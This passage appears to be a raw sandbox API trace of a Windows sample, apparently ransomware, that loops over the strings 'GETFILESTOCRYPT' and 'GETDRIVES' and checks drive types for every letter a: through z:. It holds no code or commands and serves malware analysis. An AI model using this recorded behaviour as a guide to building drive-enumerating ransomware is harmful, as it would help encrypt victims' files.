lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.393] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.393] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.393] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.393] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.393] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.393] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.393] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.393] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.393] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.393] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.393] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0087.393] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0087.393] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0087.394] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0087.394] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0087.394] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0087.394] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0087.394] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0087.394] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0087.394] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0087.394] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0087.394] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0087.395] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0087.395] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0087.395] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0087.395] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0087.395] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0087.395] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0087.395] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0087.395] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0087.395] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0087.396] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0087.396] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0087.396] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0087.396] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0087.396] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0087.396] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.396] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.396] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.396] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.396] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.396] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.397] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.397] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.397] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.397] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.397] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.397] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.397] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.397] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.397] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.397] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.397] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.397] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0087.397] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0087.397] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0087.397] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0087.397] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0087.398] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0087.398] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0087.398] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0087.398] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0087.398] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0087.398] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0087.398] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0087.398] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0087.398] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0087.399] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0087.400] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0087.400] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0087.400] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0087.400] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0087.400] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0087.400] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0087.401] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0087.401] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0087.401] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0087.401] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0087.401] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0087.401] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.401] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.401] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.401] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.401] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.401] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.402] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.402] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.402] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.402] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.402] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.402] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.402] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.402] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.402] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.402] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.402] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.402] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.402] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0087.402] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0087.402] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0087.402] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0087.403] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0087.403] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0087.403] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0087.403] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0087.403] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0087.403] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0087.403] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0087.403] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0087.403] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0087.404] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0087.404] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0087.404] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0087.404] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0087.404] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0087.404] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0087.404] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0087.404] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0087.404] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0087.405] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0087.405] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0087.405] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0087.405] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0087.405] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.405] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.405] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.405] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.405] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.405] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.405] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.406] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.406] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.406] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.406] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.406] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.406] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.406] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.406] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.406] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.406] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.406] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0087.406] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0087.406] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0087.406] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0087.406] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0087.407] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0087.407] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0087.407] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0087.407] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0087.407] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0087.407] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0087.407] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0087.407] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0087.407] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0087.408] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0087.408] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0087.408] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0087.408] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0087.408] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0087.408] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0087.408] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0087.408] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0087.408] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0087.408] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0087.409] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0087.409] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0087.409] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.409] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.409] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.409] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.409] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.409] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.409] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.409] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.409] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.410] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.410] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.410] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.410] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.410] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.410] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.410] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.410] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0087.410] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0087.410] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0087.410] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0087.410] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0087.410] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0087.411] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0087.411] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0087.411] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0087.411] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0087.411] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0087.411] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0087.411] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0087.411] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0087.411] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0087.412] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0087.412] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0087.412] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0087.412] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0087.412] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0087.412] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0087.412] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0087.412] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0087.412] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0087.413] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0087.413] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0087.413] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.413] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.413] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.413] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.413] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.413] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.413] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.413] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.413] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.413] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.413] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.414] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.414] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.414] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.414] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.414] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.414] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.414] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.414] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0087.414] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0087.414] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0087.414] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0087.415] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0087.415] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0087.415] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0087.415] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0087.415] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0087.415] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0087.415] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0087.416] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0087.416] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0087.416] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0087.416] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0087.416] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0087.416] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0087.416] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0087.416] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0087.416] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0087.417] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0087.417] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0087.417] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0087.417] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0087.417] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0087.417] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0087.417] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.417] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.418] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.418] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, 